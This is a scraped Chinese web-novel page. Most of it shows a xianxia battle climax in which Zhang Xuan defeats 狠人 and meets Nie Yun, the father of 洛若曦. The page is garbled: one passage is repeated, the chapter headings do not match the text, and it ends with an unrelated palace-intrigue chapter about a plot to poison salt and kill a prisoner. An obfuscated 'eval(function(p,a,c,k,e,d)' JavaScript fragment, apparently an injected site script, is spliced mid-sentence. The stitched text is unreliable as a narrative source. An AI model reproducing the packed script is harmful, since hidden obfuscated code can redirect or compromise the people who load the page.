张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百二十三章书房密谋 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百二十四章父子针锋相对 “不止。”秦休唇边勾起一抹冰冷的弧度,“那批盐车里,只有表面几袋是真正的官盐,下面是掺了大量沙土,与掺了少量毒物的假盐。” “一旦这些盐流入市场,必会引起轩然大波,民怨沸腾,而源头就在林家仓库。” 他看向姜清宁,低声继续:“同时我会安排御史台那位刚正不阿的周御史,在意外发生的第二天清晨,恰巧路过那条沟渠,发现盐渍痕迹,顺藤摸瓜。” “秦休,亏得你是忠臣。”姜清宁由衷赞叹。 环环相扣,既制造了无法辩驳的物证,又埋下足以激起民愤,让皇帝无法再姑息的祸根。 秦休的布局,狠辣精准,直击要害。 “我手下有人可以配合,确保那名校尉的行动万无一失,并在意外发生后,第一时间将林家仓库守卫换防的漏洞透露给周御史的人。” “如此甚好。”秦休眼中欣赏更浓,“此计若成,林崇不死也要脱层皮,林衡作为林家唯一的嫡子,必然受到牵连,但仅凭这些未必能立刻要他的命,陛下或许会将他继续下狱以儆效尤,但最终可能只是流放或圈禁。” 他看向姜清宁,眼神锐利,“你要的,是彻底的了断。” 姜清宁迎上他的目光,毫不退缩:“是,我要他死,为我妹妹那一箭偿命,而且必须死在我手里。” “那么,就需要一个契机,让他在狱中合理地死去。” 秦休声音笃定,“林崇此人刚愎自用,性情暴躁,得知仓库出事,况且儿子林衡尚在狱中。” “他必定方寸大乱,若再有人不经意地在他面前透露,林衡在狱中不思悔改,反而口出狂言,将一切罪责推给父亲,甚至辱骂林崇老迈昏聩才连累了他…” 姜清宁立刻明白:“父子反目?林崇盛怒之下前往探监,父子在狱中大吵一架,随后林衡羞愤交加或畏罪而暴毙。” 姜清宁沉思,这几乎是完美的脱身计,既能达成目的,又能将**的嫌疑转嫁到奉国公本人身上。 “正是。”秦休点头,“林衡一死,无论林崇如何辩解,他都难逃逼死亲子的嫌疑。” “太子陆乘与林衡关系亲厚,得知舅舅惨死,外祖父难辞其咎,必会与林崇反目。” “林家内部一旦**,皇后夹在父亲与儿子之间必定焦头烂额,再加上私盐、毒盐、**的重罪证据确凿,奉国公府这棵看似枝繁叶茂的大树,离倾倒也就不远了。” “环环相扣,天衣无缝。”姜清宁深吸一口气,压下心中的激动,“就按此计行事,仓库那边我的人会确保意外如期发生。” “至于狱中…”她眼中闪过寒芒,“林衡的命,由我亲自去取,软骨散和三日醉,我已备好月余。” “你早已经预料到如今这一步?”秦休问。 “没错。”姜清宁敛眸。 秦休对她真诚,她为何不能暂时选择相信,对他真诚以待。 秦休深深地看着她,没有多问。 姜清宁不愿意对他告知所有,他也不逼迫,因为人都有秘密,他做不到强行逼迫心爱之人。 他沉声道:“我会安排好一切,狱卒可以替换成你的人,半个时辰足够你行事。” “多谢。”姜清宁郑重道。 秦休摇头:“你我之间不必言谢,清晞那一箭我亦感同身受,更何况…” 他顿了顿,没有再说下去,但眼中翻涌的情愫已足够清晰。 两人都清楚这为说出来的话语。 “你早些休息,我先回去了。”秦休起身,独自走出书房,身影没入黑暗之中。 姜清宁垂眸,用微不可察的声音低喃道:“秦休,此事若成,我或许真的考虑可以嫁给你。” 